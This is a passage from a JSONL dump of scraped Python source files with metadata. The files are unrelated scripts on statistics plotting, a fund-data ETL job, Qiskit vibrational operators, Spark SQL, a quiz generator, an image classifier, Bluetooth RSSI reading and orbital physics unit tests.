result.items()]))\n\nprint(freq_char(\"aaaaabbbbcbsbbsbsfssgsgscsab\"))","sub_path":"Python/interview_questions/frequency_of_each_char.py","file_name":"frequency_of_each_char.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"160239883","text":"import random\nimport math\nimport matplotlib.pyplot as plt\nimport numpy\n\nf = open(\"decay.txt\", \"r\")\nx=[]\n\nfor item in f:\n\tx.append(float(item))\n\ndef Tau_avg(N):\n\ty = []\n\tfor i in range(0,N):\n\t\trandom.randint(0,1963)\n\t\ty.append(x[i])\n\tavg = numpy.mean(y)\n\treturn avg\t\n\nprint(\"N=2:\", Tau_avg(2))\nprint(\"N=5:\", Tau_avg(5))\nprint(\"N=10:\", Tau_avg(10))\nprint(\"N=20:\", Tau_avg(20))\nprint(\"N=100:\", Tau_avg(100))\nprint(\"N=1963:\", Tau_avg(1963))\n\nN2 = Tau_avg(2)\nN5 = Tau_avg(5)\nN10 = Tau_avg(10)\nN20 = Tau_avg(20)\nN100 = Tau_avg(100)\nN1963 = Tau_avg(1963)\n\ndef plot_tau2(N):\n\tx_val = numpy.linspace(0.1,.7,1000)\n\ttau = []\n\tfor t in x_val:\n\t\ty = (((N)/t)*N2) + N*(math.log(t)) - N - N*(math.log(N2))\n\t\ttau.append(y)\n\treturn x_val, tau\n\ndef plot_tau5(N):\n\tx_val = numpy.linspace(0.1,.5,1000)\n\ttau = []\n\tfor t in x_val:\n\t\ty = (((N)/t)*N5) + N*(math.log(t)) - N - N*(math.log(N5))\n\t\ttau.append(y)\n\treturn x_val, tau\t\n\ndef plot_tau10(N):\n\tx_val = numpy.linspace(0.1,.5,1000)\n\ttau = []\n\tfor t in x_val:\n\t\ty = (((N)/t)*N10) + N*(math.log(t)) - N - N*(math.log(N10))\n\t\ttau.append(y)\n\treturn x_val, tau\n\ndef plot_tau20(N):\n\tx_val = numpy.linspace(0.1,.5,1000)\n\ttau = []\n\tfor t in x_val:\n\t\ty = (((N)/t)*N20) + N*(math.log(t)) - N - N*(math.log(N20))\n\t\ttau.append(y)\n\treturn x_val, tau\t\t\n\ndef plot_tau100(N):\n\tx_val = numpy.linspace(0.1,.5,1000)\n\ttau = []\n\tfor t in x_val:\n\t\ty = (((N)/t)*N100) + N*(math.log(t)) - N - N*(math.log(N100))\n\t\ttau.append(y)\n\treturn x_val, tau\t\t\n\na,b = plot_tau2(2)\nc,d = plot_tau5(5)\ne,f = plot_tau10(10)\ng,h = plot_tau20(20)\nx,y = plot_tau100(100)\n\nplt.ylim(0,.6)\nplt.plot(a,b,'ro')\nplt.plot(c,d,'b')\nplt.plot(e,f,'g')\nplt.plot(g,h,'cyan')\nplt.plot(x,y,'black')\nplt.grid(True)\n\nplt.show()","sub_path":"likelihood/max_likelihood.py","file_name":"max_likelihood.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"623590374","text":"from utils.database import config as cfg, io\nfrom utils.etlkit.core import base, transform\nfrom utils.etlkit.reader.mysqlreader import MysqlInput\nfrom utils.database.models.base_private import FundManagerMapping\nimport datetime as dt\n\n\nENGINE_RD = cfg.load_engine()[\"2Gb\"]\n\n\nclass RemainOneSource(transform.BaseTransform):\n def process(self, frame):\n # 对于每只基金, 如果多个源上(好买, 金斧子)都有其经理人信息, 选用其中一个源的; 优先级: 金斧子, 好买\n df_source = frame[[FundManagerMapping.fund_id.name, \"source_id\"]].drop_duplicates(subset=[FundManagerMapping.fund_id.name])\n df_main = df_source.merge(frame, on=[FundManagerMapping.fund_id.name, \"source_id\"])\n return df_main\n\n\nclass Streams:\n @classmethod\n def _stream_02_constructor(cls, source_id):\n SQL_02 = \"SELECT im_p.matched_id as person_id, im_f.matched_id as fund_id, dpf.source_id, \" \\\n \"fi.foundation_date, fi.end_date, fi.fund_status, \" \\\n \"pi.person_name, fi.fund_name, dpf.is_current \" \\\n \"FROM {tb} dpf \" \\\n \"JOIN (SELECT person_id, MAX(version) latest_ver FROM {tb} GROUP BY person_id) t \" \\\n \"ON dpf.person_id = t.person_id AND dpf.version = t.latest_ver \" \\\n \"JOIN (SELECT matched_id, source_id, source FROM base.id_match WHERE is_used = 1 AND id_type = 3) im_p \" \\\n \"ON im_p.source_id = dpf.person_id AND im_p.source = dpf.source_id \" \\\n \"JOIN (SELECT matched_id, source_id, source FROM base.id_match WHERE is_used = 1 AND id_type = 1) im_f \" \\\n \"ON im_f.source_id = dpf.fund_id AND im_f.source = dpf.source_id \" \\\n \"LEFT JOIN base.person_info pi ON im_p.matched_id = pi.person_id \" \\\n \"LEFT JOIN base.fund_info fi ON im_f.matched_id = fi.fund_id \" \\\n \"WHERE dpf.source_id = {sid} AND dpf.is_used = 1 \".format(tb=source_id)\n\n table = \"crawl_private.d_person_fund\"\n tmp_sql = SQL_02.format(tb=table, sid=source_id)\n inp = MysqlInput(ENGINE_RD, tmp_sql)\n s = base.Stream(inp, transform=[])\n return s\n\n @classmethod\n def clean_is_current(cls, end_date, fund_status, is_current):\n if end_date is not None:\n if end_date > dt.date.today():\n return 1\n else:\n return 0\n\n if fund_status is not None:\n if fund_status == \"运行中\":\n return 1\n else:\n return 0\n\n return is_current\n\n @classmethod\n def stream_020001(cls):\n source_id = \"020001\"\n s = cls._stream_02_constructor(source_id)\n\n vm = transform.ValueMap({\n \"is_current\": (lambda fs, ic: cls.clean_is_current(fs, ic), \"fund_status\", \"is_current\")\n })\n\n sk = transform.MapSelectKeys({\n \"person_id\": FundManagerMapping.person_id.name,\n \"person_name\": FundManagerMapping.person_name.name,\n \"fund_id\": FundManagerMapping.fund_id.name,\n \"fund_name\": FundManagerMapping.fund_name.name,\n \"is_current\": FundManagerMapping.is_current.name,\n \"foundation_date\": FundManagerMapping.start_date.name,\n \"end_date\": FundManagerMapping.end_date.name,\n \"source_id\": None\n })\n\n s.transform = (vm, sk,)\n return s\n\n @classmethod\n def stream_020002(cls):\n source_id = \"020002\"\n\n s = cls._stream_02_constructor(source_id)\n\n vm = transform.ValueMap({\n \"is_current\": (lambda fs, ic: cls.clean_is_current(fs, ic), \"fund_status\", \"is_current\")\n })\n\n sk = transform.MapSelectKeys({\n \"person_id\": FundManagerMapping.person_id.name,\n \"person_name\": FundManagerMapping.person_name.name,\n \"fund_id\": FundManagerMapping.fund_id.name,\n \"fund_name\": FundManagerMapping.fund_name.name,\n \"is_current\": FundManagerMapping.is_current.name,\n \"foundation_date\": FundManagerMapping.start_date.name,\n \"end_date\": FundManagerMapping.end_date.name,\n \"source_id\": None\n })\n\n s.transform = (vm, sk,)\n return s\n\n @classmethod\n def conflu_1(cls):\n s21, s22 = cls.stream_020001(), cls.stream_020002()\n c = base.Confluence(s22, s21)\n return c\n\n @classmethod\n def conflu(cls):\n c = cls.conflu_1()\n\n ros = RemainOneSource()\n\n sk = transform.MapSelectKeys({\n \"person_id\": FundManagerMapping.person_id.name,\n \"person_name\": FundManagerMapping.person_name.name,\n \"fund_id\": FundManagerMapping.fund_id.name,\n \"fund_name\": FundManagerMapping.fund_name.name,\n \"is_current\": FundManagerMapping.is_current.name,\n FundManagerMapping.start_date.name: None,\n FundManagerMapping.end_date.name: None,\n })\n s = base.Stream(c, [ros, sk])\n c = base.Confluence(s)\n return c\n\n\ndef test():\n c = Streams.conflu()\n\n c.dataframe\n io.delete(\"base_test.fund_manager_mapping_test\", ENGINE_RD, c.dataframe[[\"fund_id\"]].drop_duplicates())\n io.to_sql(\"base_test.fund_manager_mapping_test\", ENGINE_RD, c.dataframe)\n\n\ndef main():\n c = Streams.conflu()\n\n # io.delete(\"base_test.fund_manager_mapping\", ENGINE_RD, c.dataframe[[\"fund_id\"]].drop_duplicates())\n io.to_sql(\"base.fund_manager_mapping\", ENGINE_RD, c.dataframe)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"SCRIPT/PRIVATE/etl/fund_manager_mapping/fund_manager_mapping.py","file_name":"fund_manager_mapping.py","file_ext":"py","file_size_in_byte":5553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"164742721","text":"# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"The OccupiedModals property.\"\"\"\n\nfrom typing import List, Optional, Tuple\n\nfrom qiskit_nature.drivers import WatsonHamiltonian\nfrom qiskit_nature.operators.second_quantization import VibrationalOp\nfrom qiskit_nature.results import EigenstateResult\n\nfrom ..second_quantized_property import LegacyDriverResult\nfrom .bases import VibrationalBasis\nfrom .types import VibrationalProperty\n\n\nclass OccupiedModals(VibrationalProperty):\n \"\"\"The OccupiedModals property.\"\"\"\n\n def __init__(\n self,\n basis: Optional[VibrationalBasis] = None,\n ) -> None:\n \"\"\"\n Args:\n basis: the\n :class:`~qiskit_nature.properties.second_quantization.vibrational.bases.VibrationalBasis`\n through which to map the integrals into second quantization. This attribute **MUST**\n be set before the second-quantized operator can be constructed.\n \"\"\"\n super().__init__(self.__class__.__name__, basis)\n\n @classmethod\n def from_legacy_driver_result(cls, result: LegacyDriverResult) -> \"OccupiedModals\":\n \"\"\"Construct an OccupiedModals instance from a\n :class:`~qiskit_nature.drivers.WatsonHamiltonian`.\n\n Args:\n result: the driver result from which to extract the raw data. For this property, a\n :class:`~qiskit_nature.drivers.WatsonHamiltonian` is required!\n\n Returns:\n An instance of this property.\n\n Raises:\n QiskitNatureError: if a :class:`~qiskit_nature.drivers.QMolecule` is provided.\n \"\"\"\n cls._validate_input_type(result, WatsonHamiltonian)\n\n return cls()\n\n def second_q_ops(self) -> List[VibrationalOp]:\n \"\"\"Returns a list of operators each evaluating the occupied modal on a mode.\"\"\"\n num_modals_per_mode = self.basis._num_modals_per_mode\n num_modes = len(num_modals_per_mode)\n\n ops = [self._get_mode_op(mode) for mode in range(num_modes)]\n return ops\n\n def _get_mode_op(self, mode: int) -> VibrationalOp:\n \"\"\"Constructs an operator to evaluate which modal of a given mode is occupied.\n\n Args:\n mode: the mode index.\n\n Returns:\n The operator to evaluate which modal of the given mode is occupied.\n \"\"\"\n num_modals_per_mode = self.basis._num_modals_per_mode\n\n labels: List[Tuple[str, complex]] = []\n\n for modal in range(num_modals_per_mode[mode]):\n labels.append((f\"+_{mode}*{modal} -_{mode}*{modal}\", 1.0))\n\n return VibrationalOp(labels, len(num_modals_per_mode), num_modals_per_mode)\n\n # TODO: refactor after closing https://github.com/Qiskit/qiskit-terra/issues/6772\n def interpret(self, result: EigenstateResult) -> None:\n \"\"\"Interprets an :class:`~qiskit_nature.results.EigenstateResult` in this property's context.\n\n Args:\n result: the result to add meaning to.\n \"\"\"\n result.num_occupied_modals_per_mode = []\n\n if not isinstance(result.aux_operator_eigenvalues, list):\n aux_operator_eigenvalues = [result.aux_operator_eigenvalues]\n else:\n aux_operator_eigenvalues = result.aux_operator_eigenvalues # type: ignore\n\n num_modes = len(self._basis._num_modals_per_mode)\n\n for aux_op_eigenvalues in aux_operator_eigenvalues:\n occ_modals = []\n for mode in range(num_modes):\n if aux_op_eigenvalues[mode] is not None:\n occ_modals.append(aux_op_eigenvalues[mode][0].real) # type: ignore\n else:\n occ_modals.append(None)\n result.num_occupied_modals_per_mode.append(occ_modals) # type: ignore\n","sub_path":"qiskit_nature/properties/second_quantization/vibrational/occupied_modals.py","file_name":"occupied_modals.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"627336174","text":"from os.path import abspath\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import Row\n\nwarehouse_location = abspath('sales_analytics')\n\nspark = SparkSession \\\n .builder \\\n .appName(\"sales_analytics\") \\\n .config(\"spark.sql.warehouse.dir\", warehouse_location) \\\n .enableHiveSupport() \\\n .getOrCreate()\n\n# spark.sql(\"SELECT count(1), sum(net_amount) FROM sales_analytics.fact_sales\").show()\n\nsales_df = spark.sql(\"SELECT \\\n product.category, product.make, product.color, \\\n showroom.name as showroom_name, showroom.state as showroom_state, \\\n customer.gender, customer.state as customer_state, \\\n sales.card_type, sales.quantity, sales.amount, sales.discount, sales.net_amount, sales.txn_date, dates.date_sk \\\n FROM sales_analytics.fact_sales as sales \\\n INNER JOIN sales_analytics.dim_product product \\\n ON sales.product_id = product.id \\\n INNER JOIN sales_analytics.dim_showroom showroom \\\n ON sales.showroom_id = showroom.id \\\n INNER JOIN sales_analytics.dim_customer customer \\\n ON sales.customer_id = customer.id \\\n INNER JOIN sales_analytics.dim_date dates \\\n ON sales.txn_date = dates.day_date \\\n\")\n\nsales_df.createOrReplaceTempView(\"temp_vw_sales\") \n\nspark.sql(\"CREATE TABLE sales_analytics.vw_sales as select * from temp_vw_sales\");\n","sub_path":"s3/scripts/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"343616638","text":"import csv\nimport os\nimport json\nimport glob\nimport sys\nfrom pyspark import SparkContext, SparkConf\n\ntwitter_dir = \"Tweet_JSON\"\narticle_dir = \"Articles_Export\"\nall_data = []\n# words list\nwords = [\"oil\", \"vehicle\", \"university\", \"dalhousie\", \"expensive\", \"good school\",\n \"dalhousie\", \"expensive\", \"good school\", \"good schools\", \"bad school\", \"bad schools\", \"poor school\",\n \"poor schools\", \"population\", \"bus\", \"buses\", \"agriculture\", \"economy\"]\ndata_dict = {\"oil\": 0, \"vehicle\": 0, \"university\": 0, \"dalhousie\": 0, \"expensive\": 0, \"good school\": 0, \"dalhousie\": 0,\n \"expensive\": 0, \"good school\": 0, \"good schools\": 0, \"bad school\": 0, \"bad schools\": 0, \"poor school\": 0,\n \"poor schools\": 0, \"population\": 0, \"bus\": 0, \"buses\": 0, \"agriculture\": 0, \"economy\": 0}\n\n\ndef processTwitterData(path):\n searchfilepath = path + \"\\\\\" + \"clean_search.json\"\n streamfilepath = path + \"\\\\\" + \"clean_stream.json\"\n for line in open(searchfilepath, \"r\"):\n searchdata = json.loads(line)\n if searchdata['Sr_No'] == \"Sr_No\":\n continue\n all_data.append(searchdata[\"Tweet\"])\n\n for line in open(streamfilepath, \"r\"):\n streamdata = json.loads(line)\n if streamdata['Sr_No'] == \"Sr_No\":\n continue\n all_data.append(streamdata[\"Tweet\"])\n print(\"Twitter data extracted!\")\n print(len(all_data))\n\n\ndef processArticleData(path):\n filelist = os.listdir(path)\n for filename in filelist:\n subpath = path + \"\\\\\" + filename\n article_file = open(subpath, \"r\")\n text = article_file.read()\n all_data.append(text)\n article_file.close()\n\n print(\"Articles extracted!\")\n print(len(all_data))\n\n\nif os.path.exists(twitter_dir) & os.path.exists(article_dir):\n path = os.getcwd()\n path = path + \"\\\\\" + twitter_dir\n processTwitterData(path)\n path = os.getcwd()\n path = path + \"\\\\\" + article_dir\n processArticleData(path)\n outfile = open(\"all_data.csv\", \"w+\", newline='', encoding=\"utf-8\")\n outfile = csv.writer(outfile, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for record in all_data:\n outfile.writerow([record])\n\n\nelse:\n print(\"Export Directory missing\")\n print(\"Ensure files have been executed in sequence:\")\n print(\"1. Twitter Search\")\n print(\"2. Twitter Stream\")\n print(\"3. Article Extractor\")\n print(\"4. JSON Utility\")\n","sub_path":"AllDataExporter.py","file_name":"AllDataExporter.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"115987043","text":"from . import QGenerator\n# import QGenerator\nimport random\n\n\nclass Learning_Objective_Recall(QGenerator.Learning_Objective):\n def __init__(self):\n super().__init__()\n self.name = \"recall\"\n self.concept_name = \"Carnot Engine\"\n self.action_verb = \"\"\n self.file = 'ac.txt'\n self.description = \"Student should be able to recall the available heat energy of work, effeciency of petrol engine and four processess of carnot engine\"\n self.generateQuestions()\n\n def generateQuestions(self):\n self.readfromfile()\n\n\ndef getInstance():\n return Learning_Objective_Recall()\n\n\n# ints=getInstance()\n# qs=ints.getQuestions(5)\n# for q in qs:\n# print(q.statement)\n# print(q.options)","sub_path":"quiz/media/Qgenerators/acceleration.py","file_name":"acceleration.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"200984580","text":"import os\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\n\nclass form_or_nonform:\n\n def __init__(self, model_path):\n\n self.loc_model = model_path\n # initialize file_name = None\n self.file_name = None\n \n # image dimension...\n self.height = 180\n self.width = 180\n\n # pred_class setting it to None initially...\n self.pred_class = None\n\n # load model...\n self.load_model()\n\n def load_model(self):\n self.model = keras.models.load_model(self.loc_model)\n\n def model_summary(self):\n self.model.summary()\n\n def predict_class(self, file_path):\n self.file_name = file_path # E.g. temp.png\n img = tf.io.read_file(self.file_name)\n img = tf.image.decode_png(img, channels=3)\n img.set_shape([None, None, 3])\n img = tf.image.resize(img, (self.height, self.width))\n img = np.expand_dims(img, 0)\n pred = self.model.predict(img)\n self.pred_class = np.argmax(pred) \n\nif __name__ == '__main__':\n f_or_nf = form_or_nonform('form_vs_non_form')\n f_or_nf.predict_class('temp.png')\n print(f_or_nf.pred_class)\n","sub_path":"Pipeline_sec_a.py","file_name":"Pipeline_sec_a.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"258335157","text":"def app(environ, start_response):\n\tquerystring = environ['QUERY_STRING']\n\tlines = querystring.split(\"&\")\n\tresult = \"\"\n\tfor l in lines:\n\t\tresult += l.strip() + \"\\r\\n\"\n\n\tstart_response(\"200 OK\", [\n\t\t(\"Content-Type\", \"text/plain\"),\n\t\t(\"Content-Length\", str(len(result)))\n\t])\n\n\treturn result","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"634680189","text":"# 재귀 (recursive)\n# 재귀는 자기 자신을 호출 하는 것을 말한다.\n\n## 재귀함수 (recursive function)\n# 재귀함수는 자기 자신을 호출하는 함수 이다.\n\n\n\n## 재귀함수 만들기\n\n# *** 탈출조건, 끝나는 조건이 꼭 들어가야 한다.\n\n\narr = [ 7,3,2,9 ]\n\ndef sum(arr, accu):\n # arr의 배열이 비었을경우 accu를 반환\n if(len(arr) ==0 ): return accu\n \n # 위의 if에 걸리지 않으면 arr의 값 만큼 계속 재귀하여 함수가 반복됨\n return sum(arr, accu + arr.pop())\n \n\nprint('result => ',sum(arr,0))\n","sub_path":"Recursive Function.py","file_name":"Recursive Function.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"340558463","text":"T = int(input())\r\nfor tc in range(1, T+1):\r\n x1, y1, r1, x2, y2, r2 = map(int, input().split())\r\n dis = 0\r\n dis = (abs(x1-x2)**2 + abs(y1-y2)**2)**0.5\r\n # print(dis)\r\n if x1 == x2 and y1 == y2:\r\n if r1 != r2: #동심원\r\n # print(\"check4\")\r\n print(0)\r\n continue\r\n elif r1 == r2: #동일할 때\r\n # print(\"check5\")\r\n print(-1)\r\n continue\r\n if abs(r1-r2) < dis < r1+r2: #두점\r\n # print(\"check1\")\r\n print(2)\r\n continue\r\n if r1+r2 == dis or abs(r1-r2) == dis: #외접, 내접\r\n # print(\"check2\")\r\n print(1)\r\n continue\r\n if r1+r2 < dis or abs(r1-r2) > dis: # 외부에 있을 때, 내부에 있을 때\r\n #print(\"check3\")\r\n print(0)\r\n continue\r\n","sub_path":"BaekJoon/1002_터렛.py","file_name":"1002_터렛.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"531009051","text":"#!/usr/bin/env python\n\nimport serial\nimport lcddriver\nfrom time import sleep\n\ndisplay=lcddriver.lcd()\n\ndisplay.lcd_display_string(\"The Target Range\",1)\n\nser = serial.Serial (\"/dev/ttyS0\",9600) #Open port with baud rate\nser.write(\"AT+RENEW\")\nsleep(1)\n#ser.write(\"AT+RESET\")\n#sleep(0.03)\n#ser.write(\"AT+IMME1\")\n#sleep(0.03)\n#ser.write(\"AT+ROLE1\")\n#sleep(0.03)\n#ser.write(\"AT+PSWD=1234\")\n#sleep(0.03)\nAvergSize=5\ndata=[0 for i in xrange(AvergSize)]\ncount=0\nAverg=40\nwhile True :\n received_data =ser.read() #read serial port\n sleep(0.03)\n data_left =ser.inWaiting() #check for remaining byte\n received_data += ser.read(data_left)\n # temp=received_data.strip()\n Find_Index=received_data.find('OK+DIS0:')\n print(Find_Index)\n prnit(received_data)\n if Find_Index!=-1:\n Addres=received_data[8+Find_Index:20+Find_Index] \n # print( Addres,'3CA308A0264D',Addres=='3CA308A0264D')\n if Addres=='3CA308A0264D':\n RSSI=received_data[28+Find_Index:32+Find_Index]\n data.pop(0)\n try:\n IntRSSI=int(RSSI)\n except ValueError:\n IntRSSI=int(Averg)\n PrivData=int(data[-1])\n if (((IntRSSI- PrivData >8)or(PrivData-IntRSSI>8))and (Averg>55)):\n IntRSSI=int(Averg)\n data.append(IntRSSI)\n print(\"ADDRESS: \" +Addres+\"\\n\")\n Averg=sum(data)/AvergSize\n print(\"RSSI: %d\\n\"%(Averg))\n display.ShowLCD_BarGraph(Averg,-120,5,2)\n # write_data=input(\"Please enter a command AT as string:\\n\")\n # print (write_data)\n # ser.write(\"AT+DISC?\") #transmit data serially\n sleep(1)\n","sub_path":"ranble3.py","file_name":"ranble3.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"350540170","text":"#!/usr/bin/env python3\nimport logging\nimport sys\nimport unittest\n\nimport numpy as np\n\nimport orbitx.orbitx_pb2 as protos\n\nfrom orbitx import calc\nfrom orbitx import common\nfrom orbitx import network\nfrom orbitx import physics\nfrom orbitx import state\n\nlog = logging.getLogger()\n\nG = 6.67408e-11\n\n\nclass PhysicsEngine:\n \"\"\"Ensures that the simthread is always shut down on test exit/failure.\"\"\"\n\n def __init__(self, savefile):\n self.physics_engine = physics.PEngine(\n common.load_savefile(common.savefile(savefile)))\n\n def __enter__(self):\n return self.physics_engine\n\n def __exit__(self, *args):\n self.physics_engine._stop_simthread()\n\n\nclass PhysicsEngineTestCase(unittest.TestCase):\n def setUp(self):\n if '-v' in sys.argv:\n common.enable_verbose_logging()\n\n def test_simple_collision(self):\n \"\"\"Test elastic collisions of two small-mass objects colliding.\"\"\"\n with PhysicsEngine('tests/simple-collision.json') as physics_engine:\n # In this case, the first entity is standing still and the second\n # on a collision course going left to right. The two should bounce.\n # Entity 0 has r=50 and everything else 0.\n # Entity 2 has r=30, x=-500, vx=10, and everything else 0.\n # There's also entity 1, which is far away and shouldn't interact.\n # Let's do some math oh hey, they should collide at t=42.\n approach = physics_engine.get_state(41)\n bounced = physics_engine.get_state(43)\n self.assertTrue(approach[0].x > approach[2].x)\n self.assertTrue(approach[2].vx > 0)\n self.assertTrue(bounced[0].x > bounced[2].x)\n self.assertTrue(bounced[2].vx < 0)\n self.assertEqual(\n round(approach[1].vy),\n round(bounced[1].vy))\n\n def test_basic_movement(self):\n \"\"\"Test that a moving object changes its position.\"\"\"\n with PhysicsEngine('tests/only-sun.json') as physics_engine:\n # In this case, the only entity is the Sun. It starts at (0, 0)\n # with a speed of (1, -1). It should move.\n initial = physics_engine.get_state(0)\n moved = physics_engine.get_state(10)\n self.assertEqual(initial.timestamp, 0)\n self.assertAlmostEqual(initial[0].x, 0)\n self.assertAlmostEqual(initial[0].y, 0)\n self.assertAlmostEqual(initial[0].vx, 1)\n self.assertAlmostEqual(initial[0].vy, -1)\n self.assertEqual(moved.timestamp, 10)\n self.assertAlmostEqual(moved[0].x, 10)\n self.assertAlmostEqual(moved[0].y, -10)\n self.assertAlmostEqual(moved[0].vx, 1)\n self.assertAlmostEqual(moved[0].vy, -1)\n\n def test_gravitation(self):\n \"\"\"Test that gravitational acceleration at t=0 is as expected.\"\"\"\n with PhysicsEngine('tests/massive-objects.json') as physics_engine:\n # In this case, the first entity is very massive and the second\n # entity should gravitate towards the first entity.\n initial = physics_engine.get_state(0)\n moved = physics_engine.get_state(1)\n # https://www.wolframalpha.com/input/?i=1e30+kg+*+G+%2F+(1e8+m)%5E2\n # According to the above, this should be somewhere between 6500 and\n # 7000 m/s after one second.\n self.assertTrue(moved[1].vx > 5000,\n msg=f'vx is actually {moved[1].vx}')\n\n # Test the internal math that the internal derive function is doing\n # the right calculations. Break out your SPH4U physics equations!!\n y0 = initial\n # Note that dy.X is actually the velocity at 0,\n # and dy.VX is acceleration.\n dy = state.PhysicsState(\n physics_engine._derive(0, y0._y0, y0._proto_state),\n y0._proto_state)\n self.assertEqual(len(dy.X), 2)\n self.assertAlmostEqual(dy.X[0], y0.VX[0])\n self.assertAlmostEqual(dy.Y[0], y0.VY[0])\n self.assertEqual(round(abs(dy.VX[0])),\n round(G * initial[1].mass /\n (y0.X[0] - y0.X[1])**2))\n self.assertAlmostEqual(dy.VY[0], 0)\n\n self.assertAlmostEqual(dy.X[1], y0.VX[1])\n self.assertAlmostEqual(dy.Y[1], y0.VY[1])\n self.assertEqual(round(abs(dy.VX[1])),\n round(G * initial[0].mass /\n (y0.X[1] - y0.X[0])**2))\n self.assertAlmostEqual(dy.VY[1], 0)\n\n def test_engines(self):\n \"\"\"Test that engines use fuel and accelerate at the expected.\"\"\"\n with PhysicsEngine('tests/habitat.json') as physics_engine:\n # In this test case, there is a single entity that has 300 kg fuel.\n # heading, velocity, and position are all 0.\n throttle = 1\n t_delta = 5\n\n physics_engine.handle_request(\n network.Request(\n ident=network.Request.HAB_THROTTLE_SET,\n throttle_set=throttle),\n requested_t=0)\n\n initial = physics_engine.get_state(0)\n moved = physics_engine.get_state(t_delta)\n\n self.assertAlmostEqual(initial[0].heading, 0)\n\n self.assertAlmostEqual(\n moved[0].fuel,\n (initial[0].fuel -\n t_delta * state.Habitat.fuel_cons(throttle=throttle)))\n self.assertTrue(\n moved[0].vx <\n (t_delta *\n state.Habitat.thrust(\n throttle=throttle,\n heading=initial[0].heading)[0] /\n (moved[0].mass + moved[0].fuel))\n )\n\n t_no_fuel = (initial[0].fuel /\n state.Habitat.fuel_cons(throttle=throttle))\n empty_fuel = physics_engine.get_state(t_no_fuel)\n after_empty_fuel = physics_engine.get_state(t_no_fuel + t_delta)\n\n self.assertEqual(round(empty_fuel[0].fuel), 0)\n self.assertEqual(round(after_empty_fuel[0].vx),\n round(empty_fuel[0].vx))\n\n def test_three_body(self):\n \"\"\"Test gravitational acceleration between three bodies is expected.\"\"\"\n with PhysicsEngine('tests/three-body.json') as physics_engine:\n # In this case, three entities form a 90-45-45 triangle, with the\n # entity at the right angle being about as massive as the sun.\n # The first entity is the massive entity, the second is far to the\n # left, and the third is far to the top.\n physics_state = physics_engine.get_state(0)\n\n # Test that every single entity has the correct accelerations.\n y0 = physics_state\n dy = state.PhysicsState(\n physics_engine._derive(0, y0._y0, y0._proto_state),\n physics_state._proto_state)\n self.assertEqual(len(dy.X), 3)\n\n self.assertAlmostEqual(dy.X[0], y0.VX[0])\n self.assertAlmostEqual(dy.Y[0], y0.VY[0])\n self.assertEqual(round(abs(dy.VX[0])),\n round(G * physics_state[1].mass /\n (y0.X[0] - y0.X[1])**2))\n self.assertEqual(round(abs(dy.VY[0])),\n round(G * physics_state[2].mass /\n (y0.Y[0] - y0.Y[2])**2))\n\n self.assertAlmostEqual(dy.X[1], y0.VX[1])\n self.assertAlmostEqual(dy.Y[1], y0.VY[1])\n self.assertEqual(round(abs(dy.VX[1])),\n round(G * physics_state[0].mass /\n (y0.X[1] - y0.X[0])**2 +\n\n np.sqrt(2) * G * physics_state[2].mass /\n (y0.X[1] - y0.X[2])**2\n ))\n self.assertEqual(round(abs(dy.VY[1])),\n round(np.sqrt(2) * G * physics_state[2].mass /\n (y0.X[1] - y0.X[2])**2))\n\n self.assertAlmostEqual(dy.X[2], y0.VX[2])\n self.assertAlmostEqual(dy.Y[2], y0.VY[2])\n self.assertEqual(round(abs(dy.VX[2])),\n round(np.sqrt(2) * G * physics_state[2].mass /\n (y0.X[1] - y0.X[2])**2))\n self.assertEqual(round(abs(dy.VY[2])),\n round(\n G * physics_state[0].mass /\n (y0.Y[2] - y0.Y[0])**2 +\n\n np.sqrt(2) * G * physics_state[1].mass /\n (y0.Y[2] - y0.Y[1])**2\n ))\n\n def test_landing(self):\n with PhysicsEngine('tests/artificial-collision.json') \\\n as physics_engine:\n # This case is the same as simple-collision, but the first entity\n # has the artificial flag set. Thus it should land and stick.\n # As in simple-collision, the collision happens at about t = 42.\n before = physics_engine.get_state(40)\n after = physics_engine.get_state(50)\n\n assert before[0].artificial\n assert not before[2].artificial\n\n self.assertTrue(before[0].x > before[2].x)\n self.assertTrue(before[2].vx > 0)\n self.assertAlmostEqual(after[0].vx, after[2].vx)\n self.assertAlmostEqual(after[0].x,\n (after[2].x +\n after[0].r +\n after[2].r))\n\n @unittest.skip(\"PhysicsEngine throws an AssertionError and won't continue\")\n def test_longterm_stable_landing(self):\n \"\"\"Test that landed 